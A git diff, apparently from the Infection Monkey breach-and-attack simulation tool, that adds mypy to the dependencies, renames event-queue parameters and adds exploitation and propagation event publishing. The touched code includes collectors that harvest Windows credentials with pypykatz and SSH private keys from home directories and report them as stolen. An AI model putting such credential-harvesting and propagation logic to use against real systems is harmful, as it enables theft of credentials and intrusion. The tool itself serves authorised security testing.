||||||
|
|
||||||
[dev-packages]
|
[dev-packages]
|
||||||
ldap3 = "*"
|
ldap3 = "*"
|
||||||
|
mypy = "*"
|
||||||
|
|
||||||
[requires]
|
[requires]
|
||||||
python_version = "3.7"
|
python_version = "3.7"
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
{
|
{
|
||||||
"_meta": {
|
"_meta": {
|
||||||
"hash": {
|
"hash": {
|
||||||
"sha256": "5e9fbd68544462c51d9b31787a43522f1e39978044952717a42de8aee1844917"
|
"sha256": "f9abf32c9cb2724beb6b120c657d79fde001468eeab93775dc0fc31bf6eaa3d9"
|
||||||
},
|
},
|
||||||
"pipfile-spec": 6,
|
"pipfile-spec": 6,
|
||||||
"requires": {
|
"requires": {
|
||||||
|
@ -243,7 +243,7 @@
|
||||||
"sha256:0f7569a4a6ff151958b64304071d370daa3243d15941a7beedf0c9fe5105603e",
|
"sha256:0f7569a4a6ff151958b64304071d370daa3243d15941a7beedf0c9fe5105603e",
|
||||||
"sha256:a851e51367fb93e9e1361732c1d60dab63eff98712e503ea7d92e6eccb109b4f"
|
"sha256:a851e51367fb93e9e1361732c1d60dab63eff98712e503ea7d92e6eccb109b4f"
|
||||||
],
|
],
|
||||||
"markers": "python_version >= '3.6' and python_version < '4.0'",
|
"markers": "python_version >= '3.6' and python_version < '4'",
|
||||||
"version": "==2.2.1"
|
"version": "==2.2.1"
|
||||||
},
|
},
|
||||||
"egg-timer": {
|
"egg-timer": {
|
||||||
|
@ -1040,6 +1040,42 @@
|
||||||
],
|
],
|
||||||
"version": "==2.9.1"
|
"version": "==2.9.1"
|
||||||
},
|
},
|
||||||
|
"mypy": {
|
||||||
|
"hashes": [
|
||||||
|
"sha256:02ef476f6dcb86e6f502ae39a16b93285fef97e7f1ff22932b657d1ef1f28655",
|
||||||
|
"sha256:0d054ef16b071149917085f51f89555a576e2618d5d9dd70bd6eea6410af3ac9",
|
||||||
|
"sha256:19830b7dba7d5356d3e26e2427a2ec91c994cd92d983142cbd025ebe81d69cf3",
|
||||||
|
"sha256:1f7656b69974a6933e987ee8ffb951d836272d6c0f81d727f1d0e2696074d9e6",
|
||||||
|
"sha256:23488a14a83bca6e54402c2e6435467a4138785df93ec85aeff64c6170077fb0",
|
||||||
|
"sha256:23c7ff43fff4b0df93a186581885c8512bc50fc4d4910e0f838e35d6bb6b5e58",
|
||||||
|
"sha256:25c5750ba5609a0c7550b73a33deb314ecfb559c350bb050b655505e8aed4103",
|
||||||
|
"sha256:2ad53cf9c3adc43cf3bea0a7d01a2f2e86db9fe7596dfecb4496a5dda63cbb09",
|
||||||
|
"sha256:3fa7a477b9900be9b7dd4bab30a12759e5abe9586574ceb944bc29cddf8f0417",
|
||||||
|
"sha256:40b0f21484238269ae6a57200c807d80debc6459d444c0489a102d7c6a75fa56",
|
||||||
|
"sha256:4b21e5b1a70dfb972490035128f305c39bc4bc253f34e96a4adf9127cf943eb2",
|
||||||
|
"sha256:5a361d92635ad4ada1b1b2d3630fc2f53f2127d51cf2def9db83cba32e47c856",
|
||||||
|
"sha256:77a514ea15d3007d33a9e2157b0ba9c267496acf12a7f2b9b9f8446337aac5b0",
|
||||||
|
"sha256:855048b6feb6dfe09d3353466004490b1872887150c5bb5caad7838b57328cc8",
|
||||||
|
"sha256:9796a2ba7b4b538649caa5cecd398d873f4022ed2333ffde58eaf604c4d2cb27",
|
||||||
|
"sha256:98e02d56ebe93981c41211c05adb630d1d26c14195d04d95e49cd97dbc046dc5",
|
||||||
|
"sha256:b793b899f7cf563b1e7044a5c97361196b938e92f0a4343a5d27966a53d2ec71",
|
||||||
|
"sha256:d1ea5d12c8e2d266b5fb8c7a5d2e9c0219fedfeb493b7ed60cd350322384ac27",
|
||||||
|
"sha256:d2022bfadb7a5c2ef410d6a7c9763188afdb7f3533f22a0a32be10d571ee4bbe",
|
||||||
|
"sha256:d3348e7eb2eea2472db611486846742d5d52d1290576de99d59edeb7cd4a42ca",
|
||||||
|
"sha256:d744f72eb39f69312bc6c2abf8ff6656973120e2eb3f3ec4f758ed47e414a4bf",
|
||||||
|
"sha256:ef943c72a786b0f8d90fd76e9b39ce81fb7171172daf84bf43eaf937e9f220a9",
|
||||||
|
"sha256:f2899a3cbd394da157194f913a931edfd4be5f274a88041c9dc2d9cdcb1c315c"
|
||||||
|
],
|
||||||
|
"index": "pypi",
|
||||||
|
"version": "==0.971"
|
||||||
|
},
|
||||||
|
"mypy-extensions": {
|
||||||
|
"hashes": [
|
||||||
|
"sha256:090fedd75945a69ae91ce1303b5824f428daf5a028d2f6ab8a299250a846f15d",
|
||||||
|
"sha256:2d82818f5bb3e369420cb3c4060a7970edba416647068eb4c5343488a6c604a8"
|
||||||
|
],
|
||||||
|
"version": "==0.4.3"
|
||||||
|
},
|
||||||
"pyasn1": {
|
"pyasn1": {
|
||||||
"hashes": [
|
"hashes": [
|
||||||
"sha256:014c0e9976956a08139dc0712ae195324a75e142284d5f87f1a87ee1b068a359",
|
"sha256:014c0e9976956a08139dc0712ae195324a75e142284d5f87f1a87ee1b068a359",
|
||||||
|
@ -1057,6 +1093,52 @@
|
||||||
"sha256:fec3e9d8e36808a28efb59b489e4528c10ad0f480e57dcc32b4de5c9d8c9fdf3"
|
"sha256:fec3e9d8e36808a28efb59b489e4528c10ad0f480e57dcc32b4de5c9d8c9fdf3"
|
||||||
],
|
],
|
||||||
"version": "==0.4.8"
|
"version": "==0.4.8"
|
||||||
|
},
|
||||||
|
"tomli": {
|
||||||
|
"hashes": [
|
||||||
|
"sha256:939de3e7a6161af0c887ef91b7d41a53e7c5a1ca976325f429cb46ea9bc30ecc",
|
||||||
|
"sha256:de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f"
|
||||||
|
],
|
||||||
|
"markers": "python_version < '3.11'",
|
||||||
|
"version": "==2.0.1"
|
||||||
|
},
|
||||||
|
"typed-ast": {
|
||||||
|
"hashes": [
|
||||||
|
"sha256:0261195c2062caf107831e92a76764c81227dae162c4f75192c0d489faf751a2",
|
||||||
|
"sha256:0fdbcf2fef0ca421a3f5912555804296f0b0960f0418c440f5d6d3abb549f3e1",
|
||||||
|
"sha256:183afdf0ec5b1b211724dfef3d2cad2d767cbefac291f24d69b00546c1837fb6",
|
||||||
|
"sha256:211260621ab1cd7324e0798d6be953d00b74e0428382991adfddb352252f1d62",
|
||||||
|
"sha256:267e3f78697a6c00c689c03db4876dd1efdfea2f251a5ad6555e82a26847b4ac",
|
||||||
|
"sha256:2efae9db7a8c05ad5547d522e7dbe62c83d838d3906a3716d1478b6c1d61388d",
|
||||||
|
"sha256:370788a63915e82fd6f212865a596a0fefcbb7d408bbbb13dea723d971ed8bdc",
|
||||||
|
"sha256:39e21ceb7388e4bb37f4c679d72707ed46c2fbf2a5609b8b8ebc4b067d977df2",
|
||||||
|
"sha256:3e123d878ba170397916557d31c8f589951e353cc95fb7f24f6bb69adc1a8a97",
|
||||||
|
"sha256:4879da6c9b73443f97e731b617184a596ac1235fe91f98d279a7af36c796da35",
|
||||||
|
"sha256:4e964b4ff86550a7a7d56345c7864b18f403f5bd7380edf44a3c1fb4ee7ac6c6",
|
||||||
|
"sha256:639c5f0b21776605dd6c9dbe592d5228f021404dafd377e2b7ac046b0349b1a1",
|
||||||
|
"sha256:669dd0c4167f6f2cd9f57041e03c3c2ebf9063d0757dc89f79ba1daa2bfca9d4",
|
||||||
|
"sha256:6778e1b2f81dfc7bc58e4b259363b83d2e509a65198e85d5700dfae4c6c8ff1c",
|
||||||
|
"sha256:683407d92dc953c8a7347119596f0b0e6c55eb98ebebd9b23437501b28dcbb8e",
|
||||||
|
"sha256:79b1e0869db7c830ba6a981d58711c88b6677506e648496b1f64ac7d15633aec",
|
||||||
|
"sha256:7d5d014b7daa8b0bf2eaef684295acae12b036d79f54178b92a2b6a56f92278f",
|
||||||
|
"sha256:98f80dee3c03455e92796b58b98ff6ca0b2a6f652120c263efdba4d6c5e58f72",
|
||||||
|
"sha256:a94d55d142c9265f4ea46fab70977a1944ecae359ae867397757d836ea5a3f47",
|
||||||
|
"sha256:a9916d2bb8865f973824fb47436fa45e1ebf2efd920f2b9f99342cb7fab93f72",
|
||||||
|
"sha256:c542eeda69212fa10a7ada75e668876fdec5f856cd3d06829e6aa64ad17c8dfe",
|
||||||
|
"sha256:cf4afcfac006ece570e32d6fa90ab74a17245b83dfd6655a6f68568098345ff6",
|
||||||
|
"sha256:ebd9d7f80ccf7a82ac5f88c521115cc55d84e35bf8b446fcd7836eb6b98929a3",
|
||||||
|
"sha256:ed855bbe3eb3715fca349c80174cfcfd699c2f9de574d40527b8429acae23a66"
|
||||||
|
],
|
||||||
|
"markers": "python_version < '3.8'",
|
||||||
|
"version": "==1.5.4"
|
||||||
|
},
|
||||||
|
"typing-extensions": {
|
||||||
|
"hashes": [
|
||||||
|
"sha256:25642c956049920a5aa49edcdd6ab1e06d7e5d467fc00e0506c44ac86fbfca02",
|
||||||
|
"sha256:e6d2677a32f47fc7eb2795db1dd15c1f34eff616bcaf2cfb5e997f854fa1c4a6"
|
||||||
|
],
|
||||||
|
"index": "pypi",
|
||||||
|
"version": "==4.3.0"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -0,0 +1,5 @@
|
||||||
|
from .notify_relay_on_propagation import notify_relay_on_propagation
|
||||||
|
from .agent_event_forwarder import AgentEventForwarder
|
||||||
|
from .add_stolen_credentials_to_repository import (
|
||||||
|
add_stolen_credentials_to_propagation_credentials_repository,
|
||||||
|
)
|
|
@ -1,13 +1,12 @@
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
from common.agent_events import CredentialsStolenEvent
|
from common.agent_events import CredentialsStolenEvent
|
||||||
|
from infection_monkey.credential_repository import IPropagationCredentialsRepository
|
||||||
from . import IPropagationCredentialsRepository
|
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class add_credentials_from_event_to_propagation_credentials_repository:
|
class add_stolen_credentials_to_propagation_credentials_repository:
|
||||||
def __init__(self, credentials_repository: IPropagationCredentialsRepository):
|
def __init__(self, credentials_repository: IPropagationCredentialsRepository):
|
||||||
self._credentials_repository = credentials_repository
|
self._credentials_repository = credentials_repository
|
||||||
|
|
|
@ -79,8 +79,8 @@ class BatchingAgentEventForwarder:
|
||||||
try:
|
try:
|
||||||
logger.debug(f"Sending Agent events to Island: {events}")
|
logger.debug(f"Sending Agent events to Island: {events}")
|
||||||
self._island_api_client.send_events(events)
|
self._island_api_client.send_events(events)
|
||||||
except Exception as err:
|
except Exception:
|
||||||
logger.warning(f"Exception caught when connecting to the Island: {err}")
|
logger.exception("Exception caught when connecting to the Island")
|
||||||
|
|
||||||
def _send_remaining_events(self):
|
def _send_remaining_events(self):
|
||||||
self._send_events_to_island()
|
self._send_events_to_island()
|
|
@ -0,0 +1,31 @@
|
||||||
|
import logging
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
from common.agent_events import PropagationEvent
|
||||||
|
from infection_monkey.network.relay import TCPRelay
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class notify_relay_on_propagation:
|
||||||
|
"""
|
||||||
|
Notifies a TCPRelay of potential relay users if propagation is successful
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, tcp_relay: Optional[TCPRelay]):
|
||||||
|
"""
|
||||||
|
:param tcp_relay: A TCPRelay to notify on successful propagation
|
||||||
|
"""
|
||||||
|
self._tcp_relay = tcp_relay
|
||||||
|
|
||||||
|
def __call__(self, event: PropagationEvent):
|
||||||
|
"""
|
||||||
|
Notify a TCPRelay of potential relay users if propagation is successful
|
||||||
|
|
||||||
|
:param event: A `PropagationEvent`
|
||||||
|
"""
|
||||||
|
if self._tcp_relay is None:
|
||||||
|
return
|
||||||
|
|
||||||
|
if event.success:
|
||||||
|
self._tcp_relay.add_potential_user(event.target)
|
|
@ -7,7 +7,8 @@ import requests
|
||||||
from urllib3 import disable_warnings
|
from urllib3 import disable_warnings
|
||||||
|
|
||||||
from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT
|
from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT
|
||||||
from common.network.network_utils import get_my_ip_addresses
|
from common.network.network_utils import get_my_ip_addresses_legacy
|
||||||
|
from common.types import SocketAddress
|
||||||
from infection_monkey.config import GUID
|
from infection_monkey.config import GUID
|
||||||
from infection_monkey.island_api_client import IIslandAPIClient
|
from infection_monkey.island_api_client import IIslandAPIClient
|
||||||
from infection_monkey.network.info import get_host_subnets
|
from infection_monkey.network.info import get_host_subnets
|
||||||
|
@ -24,7 +25,7 @@ class ControlClient:
|
||||||
# https://github.com/guardicore/monkey/blob/133f7f5da131b481561141171827d1f9943f6aec/monkey/infection_monkey/telemetry/base_telem.py
|
# https://github.com/guardicore/monkey/blob/133f7f5da131b481561141171827d1f9943f6aec/monkey/infection_monkey/telemetry/base_telem.py
|
||||||
control_client_object = None
|
control_client_object = None
|
||||||
|
|
||||||
def __init__(self, server_address: str, island_api_client: IIslandAPIClient):
|
def __init__(self, server_address: SocketAddress, island_api_client: IIslandAPIClient):
|
||||||
self.server_address = server_address
|
self.server_address = server_address
|
||||||
self._island_api_client = island_api_client
|
self._island_api_client = island_api_client
|
||||||
|
|
||||||
|
@ -39,7 +40,7 @@ class ControlClient:
|
||||||
monkey = {
|
monkey = {
|
||||||
"guid": GUID,
|
"guid": GUID,
|
||||||
"hostname": hostname,
|
"hostname": hostname,
|
||||||
"ip_addresses": get_my_ip_addresses(),
|
"ip_addresses": get_my_ip_addresses_legacy(),
|
||||||
"networks": get_host_subnets(),
|
"networks": get_host_subnets(),
|
||||||
"description": " ".join(platform.uname()),
|
"description": " ".join(platform.uname()),
|
||||||
"parent": parent,
|
"parent": parent,
|
||||||
|
@ -55,12 +56,6 @@ class ControlClient:
|
||||||
)
|
)
|
||||||
|
|
||||||
def send_telemetry(self, telem_category, json_data: str):
|
def send_telemetry(self, telem_category, json_data: str):
|
||||||
if not self.server_address:
|
|
||||||
logger.error(
|
|
||||||
"Trying to send %s telemetry before current server is established, aborting."
|
|
||||||
% telem_category
|
|
||||||
)
|
|
||||||
return
|
|
||||||
try:
|
try:
|
||||||
telemetry = {"monkey_guid": GUID, "telem_category": telem_category, "data": json_data}
|
telemetry = {"monkey_guid": GUID, "telem_category": telem_category, "data": json_data}
|
||||||
requests.post( # noqa: DUO123
|
requests.post( # noqa: DUO123
|
||||||
|
@ -73,15 +68,6 @@ class ControlClient:
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
logger.warning(f"Error connecting to control server {self.server_address}: {exc}")
|
logger.warning(f"Error connecting to control server {self.server_address}: {exc}")
|
||||||
|
|
||||||
def send_log(self, log):
|
|
||||||
if not self.server_address:
|
|
||||||
return
|
|
||||||
try:
|
|
||||||
telemetry = {"monkey_guid": GUID, "log": json.dumps(log)}
|
|
||||||
self._island_api_client.send_log(json.dumps(telemetry))
|
|
||||||
except Exception as exc:
|
|
||||||
logger.warning(f"Error connecting to control server {self.server_address}: {exc}")
|
|
||||||
|
|
||||||
def get_pba_file(self, filename):
|
def get_pba_file(self, filename):
|
||||||
try:
|
try:
|
||||||
return self._island_api_client.get_pba_file(filename)
|
return self._island_api_client.get_pba_file(filename)
|
||||||
|
|
|
@ -4,6 +4,7 @@ from typing import Sequence
|
||||||
from common.agent_events import CredentialsStolenEvent
|
from common.agent_events import CredentialsStolenEvent
|
||||||
from common.credentials import Credentials, LMHash, NTHash, Password, Username
|
from common.credentials import Credentials, LMHash, NTHash, Password, Username
|
||||||
from common.event_queue import IAgentEventQueue
|
from common.event_queue import IAgentEventQueue
|
||||||
|
from common.tags import T1003_ATTACK_TECHNIQUE_TAG, T1005_ATTACK_TECHNIQUE_TAG
|
||||||
from infection_monkey.i_puppet import ICredentialCollector
|
from infection_monkey.i_puppet import ICredentialCollector
|
||||||
from infection_monkey.model import USERNAME_PREFIX
|
from infection_monkey.model import USERNAME_PREFIX
|
||||||
from infection_monkey.utils.ids import get_agent_id
|
from infection_monkey.utils.ids import get_agent_id
|
||||||
|
@ -15,8 +16,6 @@ logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
MIMIKATZ_CREDENTIAL_COLLECTOR_TAG = "mimikatz-credentials-collector"
|
MIMIKATZ_CREDENTIAL_COLLECTOR_TAG = "mimikatz-credentials-collector"
|
||||||
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
|
|
||||||
T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005"
|
|
||||||
|
|
||||||
MIMIKATZ_EVENT_TAGS = frozenset(
|
MIMIKATZ_EVENT_TAGS = frozenset(
|
||||||
(
|
(
|
||||||
|
@ -28,8 +27,8 @@ MIMIKATZ_EVENT_TAGS = frozenset(
|
||||||
|
|
||||||
|
|
||||||
class MimikatzCredentialCollector(ICredentialCollector):
|
class MimikatzCredentialCollector(ICredentialCollector):
|
||||||
def __init__(self, event_queue: IAgentEventQueue):
|
def __init__(self, agent_event_queue: IAgentEventQueue):
|
||||||
self._event_queue = event_queue
|
self._agent_event_queue = agent_event_queue
|
||||||
|
|
||||||
def collect_credentials(self, options=None) -> Sequence[Credentials]:
|
def collect_credentials(self, options=None) -> Sequence[Credentials]:
|
||||||
logger.info("Attempting to collect windows credentials with pypykatz.")
|
logger.info("Attempting to collect windows credentials with pypykatz.")
|
||||||
|
@ -82,4 +81,4 @@ class MimikatzCredentialCollector(ICredentialCollector):
|
||||||
stolen_credentials=collected_credentials,
|
stolen_credentials=collected_credentials,
|
||||||
)
|
)
|
||||||
|
|
||||||
self._event_queue.publish(credentials_stolen_event)
|
self._agent_event_queue.publish(credentials_stolen_event)
|
||||||
|
|
|
@ -15,13 +15,15 @@ class SSHCredentialCollector(ICredentialCollector):
|
||||||
SSH keys credential collector
|
SSH keys credential collector
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self, telemetry_messenger: ITelemetryMessenger, event_queue: IAgentEventQueue):
|
def __init__(
|
||||||
|
self, telemetry_messenger: ITelemetryMessenger, agent_event_queue: IAgentEventQueue
|
||||||
|
):
|
||||||
self._telemetry_messenger = telemetry_messenger
|
self._telemetry_messenger = telemetry_messenger
|
||||||
self._event_queue = event_queue
|
self._agent_event_queue = agent_event_queue
|
||||||
|
|
||||||
def collect_credentials(self, _options=None) -> Sequence[Credentials]:
|
def collect_credentials(self, _options=None) -> Sequence[Credentials]:
|
||||||
logger.info("Started scanning for SSH credentials")
|
logger.info("Started scanning for SSH credentials")
|
||||||
ssh_info = ssh_handler.get_ssh_info(self._telemetry_messenger, self._event_queue)
|
ssh_info = ssh_handler.get_ssh_info(self._telemetry_messenger, self._agent_event_queue)
|
||||||
logger.info("Finished scanning for SSH credentials")
|
logger.info("Finished scanning for SSH credentials")
|
||||||
|
|
||||||
return ssh_handler.to_credentials(ssh_info)
|
return ssh_handler.to_credentials(ssh_info)
|
||||||
|
|
|
@ -6,6 +6,11 @@ from typing import Dict, Iterable, Sequence
|
||||||
from common.agent_events import CredentialsStolenEvent
|
from common.agent_events import CredentialsStolenEvent
|
||||||
from common.credentials import Credentials, SSHKeypair, Username
|
from common.credentials import Credentials, SSHKeypair, Username
|
||||||
from common.event_queue import IAgentEventQueue
|
from common.event_queue import IAgentEventQueue
|
||||||
|
from common.tags import (
|
||||||
|
T1003_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1005_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1145_ATTACK_TECHNIQUE_TAG,
|
||||||
|
)
|
||||||
from common.utils.attack_utils import ScanStatus
|
from common.utils.attack_utils import ScanStatus
|
||||||
from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
|
from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
|
||||||
from infection_monkey.telemetry.attack.t1145_telem import T1145Telem
|
from infection_monkey.telemetry.attack.t1145_telem import T1145Telem
|
||||||
|
@ -17,9 +22,6 @@ logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
DEFAULT_DIRS = ["/.ssh/", "/"]
|
DEFAULT_DIRS = ["/.ssh/", "/"]
|
||||||
SSH_CREDENTIAL_COLLECTOR_TAG = "ssh-credentials-collector"
|
SSH_CREDENTIAL_COLLECTOR_TAG = "ssh-credentials-collector"
|
||||||
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
|
|
||||||
T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005"
|
|
||||||
T1145_ATTACK_TECHNIQUE_TAG = "attack-t1145"
|
|
||||||
|
|
||||||
SSH_COLLECTOR_EVENT_TAGS = frozenset(
|
SSH_COLLECTOR_EVENT_TAGS = frozenset(
|
||||||
(
|
(
|
||||||
|
@ -32,7 +34,7 @@ SSH_COLLECTOR_EVENT_TAGS = frozenset(
|
||||||
|
|
||||||
|
|
||||||
def get_ssh_info(
|
def get_ssh_info(
|
||||||
telemetry_messenger: ITelemetryMessenger, event_queue: IAgentEventQueue
|
telemetry_messenger: ITelemetryMessenger, agent_event_queue: IAgentEventQueue
|
||||||
) -> Iterable[Dict]:
|
) -> Iterable[Dict]:
|
||||||
# TODO: Remove this check when this is turned into a plugin.
|
# TODO: Remove this check when this is turned into a plugin.
|
||||||
if is_windows_os():
|
if is_windows_os():
|
||||||
|
@ -42,7 +44,7 @@ def get_ssh_info(
|
||||||
return []
|
return []
|
||||||
|
|
||||||
home_dirs = _get_home_dirs()
|
home_dirs = _get_home_dirs()
|
||||||
ssh_info = _get_ssh_files(home_dirs, telemetry_messenger, event_queue)
|
ssh_info = _get_ssh_files(home_dirs, telemetry_messenger, agent_event_queue)
|
||||||
|
|
||||||
return ssh_info
|
return ssh_info
|
||||||
|
|
||||||
|
@ -83,7 +85,7 @@ def _get_ssh_struct(name: str, home_dir: str) -> Dict:
|
||||||
def _get_ssh_files(
|
def _get_ssh_files(
|
||||||
user_info: Iterable[Dict],
|
user_info: Iterable[Dict],
|
||||||
telemetry_messenger: ITelemetryMessenger,
|
telemetry_messenger: ITelemetryMessenger,
|
||||||
event_queue: IAgentEventQueue,
|
agent_event_queue: IAgentEventQueue,
|
||||||
) -> Iterable[Dict]:
|
) -> Iterable[Dict]:
|
||||||
for info in user_info:
|
for info in user_info:
|
||||||
path = info["home_dir"]
|
path = info["home_dir"]
|
||||||
|
@ -125,7 +127,7 @@ def _get_ssh_files(
|
||||||
|
|
||||||
collected_credentials = to_credentials([info])
|
collected_credentials = to_credentials([info])
|
||||||
_publish_credentials_stolen_event(
|
_publish_credentials_stolen_event(
|
||||||
collected_credentials, event_queue
|
collected_credentials, agent_event_queue
|
||||||
)
|
)
|
||||||
else:
|
else:
|
||||||
continue
|
continue
|
||||||
|
@ -170,7 +172,7 @@ def to_credentials(ssh_info: Iterable[Dict]) -> Sequence[Credentials]:
|
||||||
|
|
||||||
|
|
||||||
def _publish_credentials_stolen_event(
|
def _publish_credentials_stolen_event(
|
||||||
collected_credentials: Credentials, event_queue: IAgentEventQueue
|
collected_credentials: Sequence[Credentials], agent_event_queue: IAgentEventQueue
|
||||||
):
|
):
|
||||||
credentials_stolen_event = CredentialsStolenEvent(
|
credentials_stolen_event = CredentialsStolenEvent(
|
||||||
source=get_agent_id(),
|
source=get_agent_id(),
|
||||||
|
@ -178,4 +180,4 @@ def _publish_credentials_stolen_event(
|
||||||
stolen_credentials=collected_credentials,
|
stolen_credentials=collected_credentials,
|
||||||
)
|
)
|
||||||
|
|
||||||
event_queue.publish(credentials_stolen_event)
|
agent_event_queue.publish(credentials_stolen_event)
|
||||||
|
|
|
@ -2,6 +2,3 @@ from .i_propagation_credentials_repository import IPropagationCredentialsReposit
|
||||||
from .aggregating_propagation_credentials_repository import (
|
from .aggregating_propagation_credentials_repository import (
|
||||||
AggregatingPropagationCredentialsRepository,
|
AggregatingPropagationCredentialsRepository,
|
||||||
)
|
)
|
||||||
from .add_credentials_from_event import (
|
|
||||||
add_credentials_from_event_to_propagation_credentials_repository,
|
|
||||||
)
|
|
||||||
|
|
|
@ -2,13 +2,17 @@ import logging
|
||||||
import threading
|
import threading
|
||||||
from abc import abstractmethod
|
from abc import abstractmethod
|
||||||
from datetime import datetime
|
from datetime import datetime
|
||||||
from typing import Dict, Sequence
|
from ipaddress import IPv4Address
|
||||||
|
from time import time
|
||||||
|
from typing import Dict, Sequence, Tuple
|
||||||
|
|
||||||
|
from common.agent_events import ExploitationEvent, PropagationEvent
|
||||||
from common.event_queue import IAgentEventQueue
|
from common.event_queue import IAgentEventQueue
|
||||||
from common.utils.exceptions import FailedExploitationError
|
from common.utils.exceptions import FailedExploitationError
|
||||||
from infection_monkey.i_puppet import ExploiterResultData
|
from infection_monkey.i_puppet import ExploiterResultData
|
||||||
from infection_monkey.model import VictimHost
|
from infection_monkey.model import VictimHost
|
||||||
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
||||||
|
from infection_monkey.utils.ids import get_agent_id
|
||||||
|
|
||||||
from . import IAgentBinaryRepository
|
from . import IAgentBinaryRepository
|
||||||
|
|
||||||
|
@ -21,6 +25,16 @@ class HostExploiter:
|
||||||
def _EXPLOITED_SERVICE(self):
|
def _EXPLOITED_SERVICE(self):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
@property
|
||||||
|
@abstractmethod
|
||||||
|
def _EXPLOITER_TAGS(self) -> Tuple[str, ...]:
|
||||||
|
pass
|
||||||
|
|
||||||
|
@property
|
||||||
|
@abstractmethod
|
||||||
|
def _PROPAGATION_TAGS(self) -> Tuple[str, ...]:
|
||||||
|
pass
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.exploit_info = {
|
self.exploit_info = {
|
||||||
"display_name": self._EXPLOITED_SERVICE,
|
"display_name": self._EXPLOITED_SERVICE,
|
||||||
|
@ -33,7 +47,7 @@ class HostExploiter:
|
||||||
self.exploit_attempts = []
|
self.exploit_attempts = []
|
||||||
self.host = None
|
self.host = None
|
||||||
self.telemetry_messenger = None
|
self.telemetry_messenger = None
|
||||||
self.event_queue = None
|
self.agent_event_queue = None
|
||||||
self.options = {}
|
self.options = {}
|
||||||
self.exploit_result = {}
|
self.exploit_result = {}
|
||||||
self.servers = []
|
self.servers = []
|
||||||
|
@ -56,14 +70,13 @@ class HostExploiter:
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
|
|
||||||
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
|
|
||||||
def exploit_host(
|
def exploit_host(
|
||||||
self,
|
self,
|
||||||
host: VictimHost,
|
host: VictimHost,
|
||||||
servers: Sequence[str],
|
servers: Sequence[str],
|
||||||
current_depth: int,
|
current_depth: int,
|
||||||
telemetry_messenger: ITelemetryMessenger,
|
telemetry_messenger: ITelemetryMessenger,
|
||||||
event_queue: IAgentEventQueue,
|
agent_event_queue: IAgentEventQueue,
|
||||||
agent_binary_repository: IAgentBinaryRepository,
|
agent_binary_repository: IAgentBinaryRepository,
|
||||||
options: Dict,
|
options: Dict,
|
||||||
interrupt: threading.Event,
|
interrupt: threading.Event,
|
||||||
|
@ -72,7 +85,7 @@ class HostExploiter:
|
||||||
self.servers = servers
|
self.servers = servers
|
||||||
self.current_depth = current_depth
|
self.current_depth = current_depth
|
||||||
self.telemetry_messenger = telemetry_messenger
|
self.telemetry_messenger = telemetry_messenger
|
||||||
self.event_queue = event_queue
|
self.agent_event_queue = agent_event_queue
|
||||||
self.agent_binary_repository = agent_binary_repository
|
self.agent_binary_repository = agent_binary_repository
|
||||||
self.options = options
|
self.options = options
|
||||||
self.interrupt = interrupt
|
self.interrupt = interrupt
|
||||||
|
@ -125,3 +138,39 @@ class HostExploiter:
|
||||||
"""
|
"""
|
||||||
powershell = True if "powershell" in cmd.lower() else False
|
powershell = True if "powershell" in cmd.lower() else False
|
||||||
self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell})
|
self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell})
|
||||||
|
|
||||||
|
def _publish_exploitation_event(
|
||||||
|
self,
|
||||||
|
time: float = time(),
|
||||||
|
success: bool = False,
|
||||||
|
tags: Tuple[str, ...] = tuple(),
|
||||||
|
error_message: str = "",
|
||||||
|
):
|
||||||
|
exploitation_event = ExploitationEvent(
|
||||||
|
source=get_agent_id(),
|
||||||
|
target=IPv4Address(self.host.ip_addr),
|
||||||
|
success=success,
|
||||||
|
exploiter_name=self.__class__.__name__,
|
||||||
|
error_message=error_message,
|
||||||
|
timestamp=time,
|
||||||
|
tags=frozenset(tags or self._EXPLOITER_TAGS),
|
||||||
|
)
|
||||||
|
self.agent_event_queue.publish(exploitation_event)
|
||||||
|
|
||||||
|
def _publish_propagation_event(
|
||||||
|
self,
|
||||||
|
time: float = time(),
|
||||||
|
success: bool = False,
|
||||||
|
tags: Tuple[str, ...] = tuple(),
|
||||||
|
error_message: str = "",
|
||||||
|
):
|
||||||
|
propagation_event = PropagationEvent(
|
||||||
|
source=get_agent_id(),
|
||||||
|
target=IPv4Address(self.host.ip_addr),
|
||||||
|
success=success,
|
||||||
|
exploiter_name=self.__class__.__name__,
|
||||||
|
error_message=error_message,
|
||||||
|
timestamp=time,
|
||||||
|
tags=frozenset(tags or self._PROPAGATION_TAGS),
|
||||||
|
)
|
||||||
|
self.agent_event_queue.publish(propagation_event)
|
||||||
|
|
|
@ -5,13 +5,20 @@
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import json
|
import json
|
||||||
|
import logging
|
||||||
import posixpath
|
import posixpath
|
||||||
